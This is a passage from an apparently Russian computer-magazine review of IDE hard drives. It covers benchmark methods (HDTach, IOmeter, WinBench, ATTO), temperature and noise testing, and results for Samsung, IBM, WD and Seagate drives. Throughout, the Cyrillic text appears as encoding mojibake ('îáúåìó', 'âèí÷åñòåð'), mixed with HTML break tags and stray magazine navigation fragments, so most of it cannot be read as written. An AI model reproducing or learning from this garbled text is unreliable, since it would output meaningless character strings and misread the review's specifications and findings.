îáúåìó áîëüøîãî. Ëèíåéíàÿ ñêîðîñòü<br />
÷òåíèÿ òà æå, íî íà ïîèñê êàæäîãî íîâîãî<br />
ôàéëà áóäåò çàòðà÷èâàòüñÿ äîïîëíèòåëüíîå<br />
âðåìÿ, ïîòîìó ÷òî ìàëåíüêèå<br />
ôàéëû ðàçáðîñàíû ïî äèñêó, è íóæíî<br />
äâèãàòü ãîëîâêîé, ÷òîáû äî íèõ äîñòàòü.<br />
Èòàê, HDTach ïîçâîëÿåò ïðîâåðèòü ðåàëüíûå<br />
ñêîðîñòíûå õàðàêòåðèñòèêè<br />
âèí÷åñòåðà è ñðàâíèòü èõ ñ ðåçóëüòàòàìè<br />
äðóãèõ òåñòåðîâ.<br />
Îäíàêî ãðàôèê ÷òåíèÿ ýòîò òåñò ñòðîèò<br />
ñëèøêîì áûñòðî è íåäîñòàòî÷íî òî÷íî,<br />
ïîòîìó ìû íå èñïîëüçîâàëè åãî ãðàôèêè<br />
äëÿ íàøèõ âûâîäîâ. HDTach ïðîãîíÿëñÿ<br />
òðè ðàçà, è áðàëàñü ñðåäíÿÿ âåëè÷èíà.<br />
Òàêèì îáðàçîì, ìû ïîñòàðàëèñü<br />
èñêëþ÷èòü âîçìîæíûå ãëþêè ðàáîòû<br />
ýòîé óòèëèòû.<br />
Ìîæåøü êà÷íóòü ýòó ïðîãðàììó íà ñàéòå<br />
http://www.tcdlabs.com/hdtach.htm.<br />
INTEL IOMETER<br />
Ïîëíîñòüþ ñèíòåòè÷åñêèé òåñò, êîòîðûé<br />
ïîçâîëÿåò ìîäåëèðîâàòü íàãðóçêè ðàçëè÷íîé<br />
ñòåïåíè òÿæåñòè. Íàãðóçêè ìîäåëèðóþòñÿ<br />
ñ ïîìîùüþ ñïåöèàëüíîãî<br />
øàáëîíà (pattern). Â øàáëîíå ìîæíî çàäàòü<br />
ïðîöåíòíîå ñîîòíîøåíèå ðàçëè÷íûõ<br />
çàïðîñîâ, âåëè÷èíó áëîêîâ äàííûõ<br />
(Transfer Request Size), ñîîòíîøåíèå êîìàíä<br />
÷òåíèÿ è çàïèñè (Percent<br />
Read/Write Distribution), ñîîòíîøåíèå<br />
ñëó÷àéíûõ è ïîñëåäîâàòåëüíûõ çàïðîñîâ<br />
(Percent Random/Sequential<br />
Distribution). Pattern îïðåäåëÿåò êà÷åñòâî<br />
çàïðîñîâ, êîëè÷åñòâî îòäåëüíûõ çàïðîñîâ<br />
îïðåäåëÿåòñÿ ïàðàìåòðîì<br />
Outstanding I/Os. Çíà÷åíèå ýòîãî ïàðàìåòðà<br />
1 – ñîîòâåòñòâóåò ëèíåéíîìó<br />
äîñòóïó ê äèñêó, 4 – íàãðóçêå íåáîëüøîãî<br />
ïðèëîæåíèÿ Windows, 16 – ñðåäíåãî<br />
ïðèëîæåíèÿ, 64 – òîëñòûå ïðîãè òèïà<br />
Photoshop, 64-256 – ñîîòâåòñòâóåò ñåðâåðíîé<br />
íàãðóçêå. IOmeter òàê óñòðîåí,<br />
÷òî ãîíÿåò ãîëîâêè ïî âñåé ïîâåðõíîñòè<br />
äèñêîâ, ýòî î÷åíü ïîõîæå íà ðåæèì ðàáîòû<br />
ñåðâåðíîãî íàêîïèòåëÿ. Ïðè ýòîì<br />
îí ñèëüíî ãðååòñÿ. Ýòî çíà÷èò, ÷òî ñåðâåðíûé<br />
âèí÷åñòåð îáÿçàòåëüíî ïðèäåòñÿ<br />
îõëàæäàòü äîïîëíèòåëüíûìè âåíòèëÿòîðàìè.<br />
Èç-çà òàêîé ðàáîòû ñ ãîëîâêàìè<br />
IOmeter íàèáîëåå ýôôåêòèâåí ïðè<br />
ýìóëÿöèè ñåðâåðíûõ íàãðóçîê, è íå<br />
î÷åíü àäåêâàòåí ïðè ýìóëÿöèè îáû÷íûõ.<br />
Ìû èñïîëüçîâàëè ïàòòåðíû äëÿ ôàéëîâîãî<br />
ñåðâåðà è äëÿ WEB-ñåðâåðà, êàæäûé<br />
ïàòòåðí ïðîãîíÿëñÿ ñ ðàçëè÷íûìè<br />
íàãðóçêàìè. Ýòîò òåñò ïîçâîëèë âûÿâèòü,<br />
êàê ñåáÿ âåäóò âèí÷åñòåðû íà ðàçíûõ<br />
ñåðâåðíûõ íàãðóçêàõ.<br />
 ðåçóëüòàòå ìû ïîëó÷àëè äëÿ êàæäîãî<br />
òèïà ïàòòåðíà è íàãðóçêè Total I/Os Per<br />
Second. Òî åñòü îáùåå êîëè÷åñòâî îïåðàöèé<br />
ââîäà/âûâîäà â ñåêóíäó, íà êîòîðîå<br />
ñïîñîáåí õàðä ïðè äàííîé íàãðóçêå.<br />
Ýòà âåëè÷èíà çàâèñèò è îò ñêîðîñòè ÷òåíèÿ,<br />
è îò âðåìåíè ñëó÷àéíîãî äîñòóïà, è<br />
îò àëãîðèòìà ðàáîòû ñ äàííûìè íà áëèíå.<br />
Òû ìîæåøü íàñòðîèòü Intel IOmeter<br />
ïîä ñâîå ñîáñòâåííîå òåñòèðîâàíèå,<br />
ðàçðàáîòàòü ñîáñòâåííûé ïàòòåðí.<br />
Òåñò ìîæíî äîñòàòü íà ñàéòå<br />
http://sourceforge.net/projects/iometer/.<br />
Î ïðàêòè÷åñêèõ àñïåêòàõ ïðèìåíåíèè<br />
Intel IOmeter ìîæíî íàðûòü èíôû íà<br />
ñàéòå http://storagereview.com/articles/200003/20000313OSandBM_4.html.<br />
ZIFF-DAVIS<br />
WINBENCH 99 VER 1.1<br />
Êëàññè÷åñêèé íàáîð òåñòîâ. ×òî ãîâîðèòü,<br />
ýòîò èíñòðóìåíò íå ìîëîä, îäíàêî<br />
åãî èñïîëüçîâàíèå ïîçâîëÿåò ñðàâíèòü<br />
ïðîèçâîäèòåëüíîñòü âèíòîâ íåñêîëüêèõ<br />
ïîêîëåíèé. Â íåì èìååòñÿ áîëüøîé íàáîð<br />
ñðåäñòâ, êîòîðûå ðàáîòàþò ñòàáèëüíî<br />
è àäåêâàòíî, è äàþò ïîâòîðÿþùèéñÿ<br />
ðåçóëüòàò.<br />
ÊÎÍÔÈÃÓÐÀÖÈß ÒÅÑÒÎÂÎÃÎ ÑÒÅÍÄÀ<br />
Ñèñòåìíàÿ ïëàòà: ECS K7S5A (SIS 735);<br />
Ïðîö: Athlon XP 1600+ (Palamino);<br />
Ïàìÿòü: 256 SDRAM (HYNDAI);<br />
Âèäåîêàðòà: 3DFX Velocity 100 8Mb;<br />
Ñèñòåìíûé äèñê: IBM IC35L040AVVA07-0;<br />
Îïåðàöèîííàÿ ñèñòåìà: WinXP Home Edition SP1.<br />
AT-áëîê ïèòàíèÿ äëÿ òåñòèðîâàíèÿ àêóñòè÷åñêèõ õàðàêòåðèñòèê.<br />
 íàáîð âõîäÿò ôèçè÷åñêèå òåñòû, êîòîðûå<br />
ïîäîáíî HDTach îïðåäåëÿþò<br />
ñêîðîñòè ÷òåíèÿ/çàïèñè (ìèíèìàëüíóþ,<br />
ìàêñèìàëüíóþ, ñðåäíþþ), îïðåäåëÿþò<br />
ñðåäíåå âðåìÿ äîñòóïà.<br />
WinBench õîðîøî ñòðîèò DTR (Data<br />
Transfer Rate) – ãðàôèê ñêîðîñòè ïåðåäà÷è<br />
äàííûõ â çàâèñèìîñòè îò ïîëîæåíèÿ<br />
ãîëîâêè íà áëèíå. Íà ïîñòðîåíèå<br />
òàêîãî ãðàôèêà óõîäèò öåëûõ ïîë÷àñà.<br />
Ïî ãðàôèêó ìîæíî ñóäèòü íå òîëüêî î<br />
ñêîðîñòè ÷òåíèÿ, íî è î êà÷åñòâå ïîâåðõíîñòè<br />
áëèíîâ. Âåäü èñïîð÷åííûé<br />
ó÷àñòîê ëèáî ïåðå÷èòûâàåòñÿ íåñêîëüêî<br />
ðàç, ëèáî ïåðåíîñèòñÿ â äðóãóþ îáëàñòü.<br />
È òî è äðóãîå âûçûâàåò ïàäåíèå<br />
ñêîðîñòè íà ãðàôèêå DTR.<br />
Òàêæå WinBench èìååò íàáîð ñèíòåòè-<br />
÷åñêèõ òåñòîâ, â êîòîðûõ ýìóëèðóåòñÿ<br />
íàãðóçêà íà äèñê ðàçëè÷íûõ ïðèëîæåíèé.<br />
 ïàêåòå Business Disk WinMark<br />
ýìóëèðóåòñÿ íàãðóçêà îôèñíûõ ïðèëîæåíèé,<br />
à â ïàêåòå Hi-End ýìóëèðóþòñÿ<br />
Adobe Photoshop, Adobe Premiere,<br />
Sonic Foundry Sound Forge, Microsoft<br />
Visual C++ è òàê äàëåå. Ïðè ñîçäàíèè<br />
òàêèõ ýìóëÿòîðîâ ðàçðàáîò÷èêàìè çàïèñûâàëèñü<br />
ìàíèïóëÿöèè ñ äèñêîì ðåàëüíûõ<br />
ïðèëîæåíèé.<br />
Òàêèì îáðàçîì ìîæíî îöåíèòü âêëàä ñêîðîñòíûõ<br />
õàðàêòåðèñòèê âèí÷åñòåðà â ïðîèçâîäèòåëüíîñòü<br />
ðåàëüíûõ ïðîãðàìì.<br />
ATTO DISK BENCHMARK<br />
Äîïîëíèòåëüíî ìû èñïîëüçîâàëè òåñò,<br />
ïîçâîëÿþùèé îöåíèòü ñêîðîñòü ðàáîòû<br />
æåñòêîãî äèñêà ñ ÷òåíèåì è çàïèñüþ<br />
áëîêîâ ðàçëè÷íîãî ðàçìåðà.<br />
Æåñòêèé äèñê òàê óñòðîåí, ÷òî íåáîëüøèå<br />
áëîêè äàííûõ ñ÷èòûâàåò è çàïèñûâàåò<br />
ìåäëåííåå. Îò÷àñòè ñ ýòèì<br />
ñâÿçàíû ðàçëè÷èÿ â ðàáîòå äâóõ ôàéëîâûõ<br />
ñèñòåì: FAT32 è NTFS. Ðàáîòà ñ<br />
ðàçëè÷íûìè ïî ðàçìåðó áëîêàìè êîñâåííî<br />
óêàçûâàåò íà îñîáåííîñòè àëãîðèòìîâ<br />
âèí÷åñòåðà.<br />
ÒÅÌÏÅÐÀÒÓÐÀ<br />
Äàííûå ïî òåìïåðàòóðå âçÿòû èç SMART<br />
ñ ïîìîùüþ SpeedFan ïîñëå òåñòèðîâàíèÿ<br />
â IOmeter. Ó ñîâðåìåííûõ âèí÷åñòåðîâ<br />
åñòü âñòðîåííûå äàò÷èêè òåìïåðàòóðû.<br />
Òåñòèðîâàíèå äëèëîñü 28 ìèíóò.<br />
Ñ ïîìîùüþ îòäåëüíî ïðîâåäåííûõ èññëåäîâàíèé<br />
ìû âûÿñíèëè, ÷òî äëÿ ðàçîãðåâà<br />
äèñêà è ñòàáèëèçàöèè òåìïåðàòóðû<br />
äîñòàòî÷íî 20 ìèíóò. Âñå äåëî â<br />
òîì, ÷òî IOmeter äàåò íåñëàáóþ íàãðóçêó<br />
íà âèí÷åñòåð.<br />
 òåñíîì çàêðûòîì êîðïóñå (midi ATX c<br />
âåðòèêàëüíûì ÁÏ) òåìïåðàòóðà ïåðâîãî<br />
æå òåñòèðóåìîãî äèñêà (WD) óæå ÷åðåç<br />
20 ìèíóò ïîñëå çàïóñêà IOmeter<br />
äîñòèãëà 55 ãðàäóñîâ. Òàê êàê 55 ãðàäóñîâ<br />
- ïðåäåëüíàÿ ïàñïîðòíàÿ òåìïåðàòóðà,<br />
òåñòèðîâàíèå ïðèøëîñü ïðèîñòàíîâèòü.<br />
 äàëüíåéøåì âñå äèñêè òåñòèðîâàëèñü<br />
íà îòêðûòîì ïðîñòðàíñòâå.<br />
Òî åñòü ëåæàëè ìèêðîñõåìàìè âíèç íà<br />
ñòîëå. Äëÿ ëó÷øåãî îõëàæäåíèÿ íà<br />
äèñê ñâåðõó óêëàäûâàëñÿ 60-ìì âåíòèëÿòîð.<br />
Òàê êàê â òå÷åíèå äíÿ íåâîçìîæíî<br />
ãàðàíòèðîâàòü íåèçìåííîñòü êîìíàòíîé<br />
òåìïåðàòóðû, çàìåðû íå ñòðàäàþò<br />
èçáûòî÷íîé òî÷íîñòüþ, îäíàêî<br />
îíè äàþò ïðåäñòàâëåíèå î òîì, êàê<br />
ãðåþòñÿ ñîâðåìåííûå äèñêè ïðè ìîùíîé<br />
íàãðóçêå.<br />
Êñòàòè, â òåõíè÷åñêèõ õàðàêòåðèñòèêàõ<br />
äîïóñòèìûé ìàêñèìàëüíûé ãðàäèåíò<br />
òåìïåðàòóðû - íàãðåâ íà 20 ãðàäóñîâ â<br />
÷àñ. Îäíàêî, êàê ïîêàçûâàåò ïðàêòèêà,<br />
ìíîãèå óñòðîéñòâà ïðîõîäÿò 20 ãðàäóñîâ<br />
çà íåñêîëüêî äåñÿòêîâ ìèíóò ïðè<br />
ñåðüåçíîé íàãðóçêå. Ýòî åùå îäèí ïðèìåð<br />
òîãî, êàê òåìïåðàòóðíûé ðåæèì<br />
âëèÿåò íà íàäåæíîñòü óñòðîéñòâà.<br />
ØÓÌ<br />
Óðîâåíü øóìà âàæåí íå òîëüêî äëÿ ëþáèòåëåé<br />
òèøèíû, ýòîò ïàðàìåòð êîñâåííî<br />
ãîâîðèò î êà÷åñòâå ìåõàíè÷åñêîé<br />
ñèñòåìû, à çíà÷èò è î íàäåæíîñòè!<br />
Øóì â ðåæèìå õîëîñòîãî õîäà îöåíèâàëñÿ<br />
íî÷üþ â òèõîì ïîìåùåíèè. Äðàéâ<br />
ïîäêëþ÷àëñÿ ê áåçâåíòèëÿòîðíîìó áëîêó<br />
ïèòàíèÿ áåç êîìïüþòåðà. Òî åñòü<br />
ñëûøíî áûëî òîëüêî ðàáîòó ìåõàíèêè<br />
HDD. Âûäåëèëèñü óñòðîéñòâà, êîòîðûå<br />
ðàáîòàëè ñ îäèíàêîâîé ãðîìêîñòüþ è íà<br />
êóñêå ïîðîëîíà, è íà ðàáî÷åì ñòîëå.<br />
Îäíàêî áûëè âèíòû, êîòîðûå ðàáîòàëè<br />
òèõî, íî íà òâåðäîé ïîâåðõíîñòè íà÷èíàëè<br />
ðåçîíèðîâàòü.<br />
Òå æå äâà òåñòà (íà ìÿãêîé è æåñòêîé<br />
ïîâåðõíîñòè) ïðîâîäèëèñü ñ ïîìîùüþ<br />
êîìïüþòåðà ïðè îáðàùåíèè ê<br />
âèí÷åñòåðó, òàê, ÷òîáû áûë ñëûøåí<br />
øóì ãîëîâîê. Åñëè âèí÷åñòåð ïîçâîëÿë<br />
âêëþ÷èòü òèõèé ðåæèì ðàáîòû ãîëîâîê,<br />
òî ïðîâîäèëèñü äîïîëíèòåëüíûå<br />
äâà òåñòà.<br />
5 Þíèêñîèä 6 X-Style 7 Êîäèíã 8 Þíèòû 9 Quit> 13
Ferrum<br />
ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />
test_lab (test_lab@gameland.ru)<br />
ÒÅÑÒÎÂÛÅ<br />
ÐÅÇÓËÜÒÀÒÛ<br />
SAMSUNG SPINPOINT<br />
P40 SP8004H<br />
Ðåàëüíàÿ åìêîñòü: 74,56 (ÃÁ);<br />
Êîëè÷åñòâî äèñêîâ: 2;<br />
Êîëè÷åñòâî ãîëîâîê: 4;<br />
Èíòåðôåéñ: Ultra ATA/100;<br />
Çàÿâëåííîå âðåìÿ çàäåðæåê:<br />
Ïî äîðîæêàì 0,8 ìñ;<br />
Ñðåäíåå 8,9 ìñ;<br />
Ïîëíîå 16,9 ìñ;<br />
Ñðåäíåå âðåìÿ îæèäàíèÿ:<br />
4,17 ìñ;<br />
Îáúåì áóôåðíîé<br />
êýø-ïàìÿòè: 2048 Êá;<br />
Óäàð (Ðàáî÷èé ðåæèì) 63 G;<br />
Óäàð (Ðåæèì õðàíåíèÿ) 350 G;<br />
Ïîòðåáëåíèå<br />
(÷òåíèå/çàïèñü) 6 W;<br />
Ïîòðåáëåíèå (äîñòóï<br />
(1/3 äîñòóï, 30% íàãðóçêè)) 7 W;<br />
Ïîòðåáëåíèå<br />
(õîëîñòîé õîä) 5,8 W;<br />
Øóì (Íåò çàíÿòîñòè):<br />
3,15 áåëë;<br />
Øóì (×òåíèå/çàïèñü): 3,3 áåëë.<br />
HDTach ïîêàçàë íåâûñîêóþ ñêîðîñòü,<br />
íà óðîâíå âèí÷åñòåðîâ ïðåäûäóùåãî<br />
ïîêîëåíèÿ. Îäíàêî ïî<br />
äàííûì IOmeter âûÿñíèëîñü, ÷òî äëÿ<br />
ñåðâåðíîãî ïðèìåíåíèÿ SAMSUNG<br />
SpinPoint P40 SP8004H - ñàìûé êëåâûé<br />
ïîñëå IBM Deskstar 180GXP<br />
IC35L090AVV207. Ýòî íå óäèâèòåëüíî,<br />
ïîñêîëüêó, íåñìîòðÿ íà íèçêèå<br />
ëèíåéíûå ñêîðîñòè, SAMSUNG<br />
SpinPoint P40 SP8004H îáëàäàåò íàèìåíüøåé<br />
çàäåðæêîé ïî âðåìåíè<br />
ñëó÷àéíîãî äîñòóïà ê äàííûì, òàêæå<br />
ïîñëå BM Deskstar 180GXP<br />
IC35L090AVV207. Íåáîëüøîå âðåìÿ<br />
äîñòóïà ãîâîðèò î õîðîøåé è êà÷åñòâåííîé<br />
ìåõàíèêå âèí÷åñòåðà.<br />
WinBench ïîêàçàë ãðàôèê DTR (Data<br />
Transfer Rate), ïî íåìó ìîæíî ñóäèòü<br />
îá îòëè÷íîì êà÷åñòâå ïîâåðõíîñòè<br />
ïëàñòèí - ãðàôèê èäåàëüíûé áåç çóá-<br />
÷èêîâ.<br />
Ïåðâûå 40 ãèãàáàéò íà ãðàôèêå - ïðèìåðíî<br />
îäèíàêîâàÿ ñêîðîñòü, çàòî ïîñëåäíèå<br />
40 ãèãîâ ñêîðîñòü áûñòðî ïàäàåò.<br />
Ïîëó÷àåòñÿ, ÷òî åñëè òâîè äàííûå<br />
âàëÿþòñÿ â ïåðâîé ïîëîâèíå äèñêà,<br />
òî ìàêñèìàëüíàÿ ñêîðîñòü ðàâíà<br />
ñðåäíåé, èíà÷å ñêîðîñòü áóäåò ïàäàòü.<br />
Business ïîêàçàë íèçêèå ñêîðîñòè, õîòÿ<br />
íàì òóò ìíîãî è íå íóæíî. Hi-End<br />
òîæå íåâûñîê. ×òîáû ïî÷óâñòâîâàòü<br />
ýòó ðàçíèöó â ðåàëüíîé ðàáîòå, íóæíî,<br />
÷òîáû ðàçëè÷èÿ áûëè â äâà ðàçà.<br />
SAMSUNG SpinPoint P40 SP8004H<br />
ïðàêòè÷åñêè íå îòñòàåò, ïîýòîìó òîðìîçà<br />
çàìåòíû íå áóäóò.<br />
ATTO íàðàñòàåò ìåäëåííî, ãëàäêèé<br />
ãðàôèê ïîçâîëÿåò äîãàäàòüñÿ, ÷òî àëãîðèòìû<br />
îòëè÷íî ïðîäóìàííû.<br />
Ïîòðåáëÿåìàÿ ìîùíîñòü íèæå ñðåäíåé!<br />
Âèäèìî, áëàãîäàðÿ ýòîìó SAM-<br />
SUNG SpinPoint P40 SP8004H çíà÷èòåëüíî<br />
ìåíüøå ãðååòñÿ - íà öåëûõ 10<br />
ãðàäóñîâ. 39 ãðàäóñîâ ïðîòèâ 46-48 ó<br />
îñòàëüíûõ âèíòîâ. Î íàäåæíîñòè âèí-<br />
÷åñòåðîâ SUMSUNG êîñâåííî ãîâîðèò<br />
òðåõëåòíÿÿ ãàðàíòèÿ. Ìåæäó ïðî÷èì,<br />
ýòî åäèíñòâåííûé ïðîèçâîäèòåëü, äàþùèé<br />
ãàðàíòèþ òàêîãî ðîäà!<br />
Øóì âûøå ñðåäíåãî. Íà õîëîñòîì õîäó<br />
äèñê íå ðåçîíèðóåò, íî øóìèò äîâîëüíî<br />
ñèëüíî, ïðàâäà, óðîâåíü ðåçîíàíñà<br />
ïîâûøàåòñÿ âî âðåìÿ ðàáîòû ãîëîâîê,<br />
ïîòîìó, â èäåàëå, ðåêîìåíäóåì çàêðåïëÿòü<br />
åãî ïðè ïîìîùè ðåçèíîâûõ<br />
øàéá èëè êëàñòü íà ÷òî-òî ìÿãêîå.<br />
Èòàê, ìû èìååì îäèí èç ñàìûõ áûñòðûõ<br />
è íàäåæíûõ âèí÷åñòåðîâ äëÿ ñåðâåðíîãî<br />
ïðèìåíåíèÿ.<br />
IBM DESKSTAR 180GXP<br />
IC35L090AVV207-0<br />
Ðåàëüíàÿ åìêîñòü: 76.69 (Ãá);<br />
Êîëè÷åñòâî äèñêîâ 2;<br />
Êîëè÷åñòâî ãîëîâîê 3;<br />
Èíòåðôåéñ Ultra ATA/100;<br />
Average (ms) 8.8;<br />
Track to track (ms) 1.1;<br />
Full track (ms) 15.4;<br />
Ñðåäíåå âðåìÿ îæèäàíèÿ<br />
4,17 ìñ;<br />
Îáúåì áóôåðíîé êýø-ïàìÿòè<br />
2048 Êá;<br />
Óäàð (ðàáî÷èé ðåæèì) 55 G;<br />
Óäàð (Ðåæèì õðàíåíèÿ) 350 G;<br />
Ïîòðåáëåíèå (Õîëîñòîé õîä)<br />
5.9 W;<br />
Øóì (Íåò çàíÿòîñòè 2.8) áåëë;<br />
HDTach ïîêàçàë îäèí èç ñàìûõ âûñîêèõ<br />
ðåçóëüòàòîâ ïî ëèíåéíîé ñêîðîñòè<br />
è ñàìîå ìàëåíüêîå âðåìÿ ñëó-<br />
÷àéíîãî äîñòóïà.<br />
IOmetr äàë IBM Deskstar 180GXP<br />
IC35L090AVV207 çàñëóæåííîå ïåðâîå<br />
ìåñòî. Áëàãîäàðÿ ñàìîìó ìàëåíüêîìó<br />
âðåìåíè äîñòóïà è ñàìîìó ñåðâåðíîìó<br />
àëãîðèòìó. Õîäÿò ñëóõè, ÷òî<br />
IBM äåëàåò SCSI-âèíòû äëÿ ñåðâåðîâ<br />
è IDE íà îäíîé áàçå. Íàøè òåñòû ýòè<br />
ñëóõè ïîäòâåðæäàþò.<br />
Winbench ïðîèãðûâàåò WD Caviar<br />
WD800JB. Ýòî, âîçìîæíî, ñâÿçàíî<br />
ñ îáúåìîì áóôåðà.<br />
DTR òàêæå ñ íåáîëüøèìè çóá÷èêàìè.<br />
Âîçìîæíî, äëÿ íîâûõ ïëàñòèí íåäîñòàòî÷íî<br />
îòðàáîòàíà òåõíîëîãèÿ.<br />
ATTO – ñàìûé êëåâûé ãðàôèê - ðåçêî<br />
ðàñòåò è íå ìåíÿåòñÿ, ñíîâà íàïîìèíàåò<br />
íàì î ñåðâåðíûõ àëãîðèòìàõ.<br />
Ñðåäíèé ïî ãðîìêîñòè íà õîëîñòîì<br />
õîäó, ñàìûé òèõèé ïðè ðàáîòå ñ ãîëîâêàì.<br />
 òèõîì ðåæèìå âòîðîé. Åñëè<br />
ïîëîæèòü íà ïîðîëîí è âêëþ÷èòü<br />
òèõèé ðåæèì, òî ãîëîâêè íå ñëûøíî<br />
ñîâñåì. Íå ðåçîíèðóåò â òèõîì ðåæèìå.<br />
 õîëîñòîì ðåæèìå ñèëüíî ðåçîíèðóåò<br />
è íåïðèÿòíî ãóäèò. Âîîáùå<br />
äëÿ ïîñëåäíèõ âèí÷åñòåðîâ IBM òàêîå<br />
íå õàðàêòåðíî, ïîýòîìó ìû ðåøèëè,<br />
÷òî ê íàì ïîïàëà íå î÷åíü óäà÷íàÿ<br />
ìîäåëü!<br />
 ðåçóëüòàòå ìû èìååì ñàìûé ñêîðîñòíîé<br />
âèíò äëÿ ñåðâåðíîãî ïðèìåíåíèÿ,<br />
îäèí èç ñàìûõ ñêîðîñòíûõ âîîáùå<br />
è îäèí èç ñàìûõ òèõèõ. Ñëîâîì,<br />
äðàéâ ÿâíî íàïðàøèâàåòñÿ íà ìåäàëü,<br />
îäíàêî íàñ âñå æå ñìóùàþò<br />
çóá÷èêè íà DTR. Êñòàòè, ïîêóïàÿ IBM<br />
Deskstar 180GXP IC35L090AVV207, ìû<br />
ïîëó÷àåì áîíóñ â äâà ãèãàáàéòà!<br />
1 2<br />
14 Íüþñû Ôåððóì<br />
Inside 3 PC_Zone 4 Âçëîì
Ferrum<br />
ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />
test_lab (test_lab@gameland.ru)<br />
WD CAVIAR<br />
WD800JB-00ETA0<br />
Ðåàëüíàÿ åìêîñòü: 74.53 (ÃÁ);<br />
Êîëè÷åñòâî äèñêîâ 2;<br />
Êîëè÷åñòâî ãîëîâîê 4;<br />
Èíòåðôåéñ Ultra ATA/100;<br />
Read Seek Time (Average)<br />
8.9 ms;<br />
Write Seek Time (Average)<br />
10.9 ms (average);<br />
Track-To-Track Seek Time<br />
2.0 ms (average);<br />
Full Stroke Seek<br />
21.0 ms (average);<br />
Ñðåäíåå âðåìÿ îæèäàíèÿ<br />
4,2 ìñ;<br />
Îáúåì áóôåðíîé êýø-ïàìÿòè<br />
2048 Êá;<br />
Óäàð (ðàáî÷èé ðåæèì)<br />
20G, 2ms;<br />
Óäàð (ðåæèì õðàíåíèÿ)<br />
250G, 2ms;<br />
Ïîòðåáëåíèå<br />
(õîëîñòîé õîä) 7,25 W;<br />
Øóì (íåò çàíÿòîñòè): 35 dBA;<br />
Øóì (ïîèñê) 39 dBA (average);<br />
Ïî äàííûì HDTach ñàìàÿ âûñîêàÿ<br />
ëèíåéíàÿ ñêîðîñòü. Âðåìÿ äîñòóïà<br />
âûøå ñðåäíåãî.<br />
Ïî äàííûì IOmeter íà òðåòüåì ìåñòå<br />
ïîñëå SAMSUNG SpinPoint P40<br />
SP8004H è IBM Deskstar 180GXP<br />
IC35L090AVV207, íà áîëüøèõ íàãðóçêàõ<br />
îáõîäèò ñàìñóíã.<br />
Winbench: DTR – çàìåòíû çóá÷èêè.<br />
Ñïàäàåò ñðåäíå. Âñåõ îáõîäèò íà òåñòàõ<br />
Winbench, äàæå IBM Deskstar<br />
180GXP IC35L090AVV207.<br />
ATTO íàðàñòàåò ìåäëåííî, íî íåóêëîííî.<br />
Óâåëè÷åííûé áóôåð (8 ìåòðîâ) - ïîòåíöèàëüíàÿ<br />
ïðåäïîñûëêà ê áîëüøåé<br />
ïðîèçâîäèòåëüíîñòè.<br />
Íà õîëîñòîì õîäó âìåñòå ñ SAMSUNG<br />
SpinPoint P40 SP8004H øóìèò ãðîì÷å<br />
âñåõ. Õîòÿ äàæå òàêîé óðîâåíü øóìà<br />
âïîëíå ïðèåìëåì – ðàáîòàòü ìîæíî.<br />
×àñòîòà çâóêà ÷óòü íèæå SAMSUNG<br />
SpinPoint P40 SP8004H. Çâóê ðàáîòû<br />
ãîëîâîê ðàçäðàæàåò áîëüøå, ðåçîíèðóåò<br />
ïðè ðàáîòå ãîëîâîê. Åñëè ïîëîæèòü<br />
íà ìÿãêîå, ðåçêèé çâóê îñòàåòñÿ.<br />
Âèíò èìååò ñàìîå âûñîêîå ïîòðåáëåíèå<br />
è ãðååòñÿ áîëüøå âñåõ.<br />
 ðåçóëüòàòå ìû èìååì âèíò ñ ñàìûìè<br />
âûñîêèìè ëèíåéíûìè ñêîðîñòÿìè<br />
è óâåëè÷åííûì áóôåðîì. Ýòî äàåò<br />
åìó ïîáåäó â Business è Hi-End ïðèëîæåíèÿõ<br />
(âñåãî íà íåñêîëüêî åäèíèö).<br />
Îäíàêî â ñåðâåðíîì èñïîëüçîâàíèè<br />
òîëüêî òðåòüå ìåñòî, äà è ãðååòñÿ<br />
îí î÷åíü ñèëüíî.<br />
SEAGATE BARRACUDA<br />
7200.7 ST380011A<br />
Ðåàëüíàÿ åìêîñòü: 74.53 (ÃÁ);<br />
Êîëè÷åñòâî äèñêîâ 1;<br />
Êîëè÷åñòâî ãîëîâîê 2;<br />
Èíòåðôåéñ Ultra ATA/100;<br />
Average Seek (msec) 8.5;<br />
Ñðåäíåå âðåìÿ îæèäàíèÿ<br />
4,16 ìñ;<br />
Îáúåì áóôåðíîé êýø- ïàìÿòè<br />
2048 Êá;<br />
Óäàð (ðàáî÷èé ðåæèì) 63 G;<br />
Óäàð (ðåæèì õðàíåíèÿ) 350 G;<br />
Ïîòðåáëåíèå (×òåíèå/çàïèñü)<br />
12 W;<br />
Ïîòðåáëåíèå (Äîñòóï) 12.5 W;<br />
Ïîòðåáëåíèå (Õîëîñòîé õîä)<br />
7 W;<br />
Øóì (íåò çàíÿòîñòè) 2,5 áåëë;<br />
Øóì (×òåíèå/çàïèñü)<br />
3,1 áåëë;<br />
HDTach ïîêàçàë ìåäëåííîå âðåìÿ<br />
äîñòóïà, êàê ó WD Caviar WD800JB.<br />
Ïîêàçûâàåò ëèíåéíûå ñêîðîñòè,<br />
áëèçêèå ê ëèäåðàì îáçîðà. Îäíàêî<br />
ñëèøêîì áîëüøîé ðàçáðîñ ìåæäó<br />
ìèíèìóìîì è ìàêñèìóìîì.<br />
Ïðåäïîñëåäíåå ìåñòî â ñåðâåðíîì<br />
ðåéòèíãå IOmeter.<br />
Winbench. DTR áûñòðî ïàäàåò, îäíàêî<br />
ãðàôèê áëèçîê ê èäåàëüíîìó.<br />
Business - ñðåäíèé, Hi-End ïðåäïîñëåäíèé.<br />
ATTO ïðåäïîñëåäíèé.<br />
Íà õîëîñòîì õîäó øóìà íå ñëûøíî,<br />
íî ðåçîíàíñ åñòü. Îòñóòñòâóåò óïðàâëåíèå<br />
àêóñòèêîé, íî âèíò ñàì ïî ñåáå<br />
äîâîëüíî òèõèé. Ãîëîâêè ðåçîíèðóþò,<br />
çâóê íå ãðîìêèé, íî çâîíêèé.<br />
Èòàê, ýòî åäèíñòâåííûé îäíîáëèíîâûé<br />
âèí÷åñòåð â íàøåì îáçîðå.<br />
Ïëîòíîñòü çàïèñè - 80 ãèãàáàéò íà<br />
ïëàñòèíó! Âðåìÿ ïîêàæåò, íàäåæíåå<br />
ëè òàêèå âèíòû. Ñóäÿ ïî èäåàëüíîìó<br />
DTR, ñêîðåå âñåãî, íàäåæíåå. Èçâåñòíî,<br />
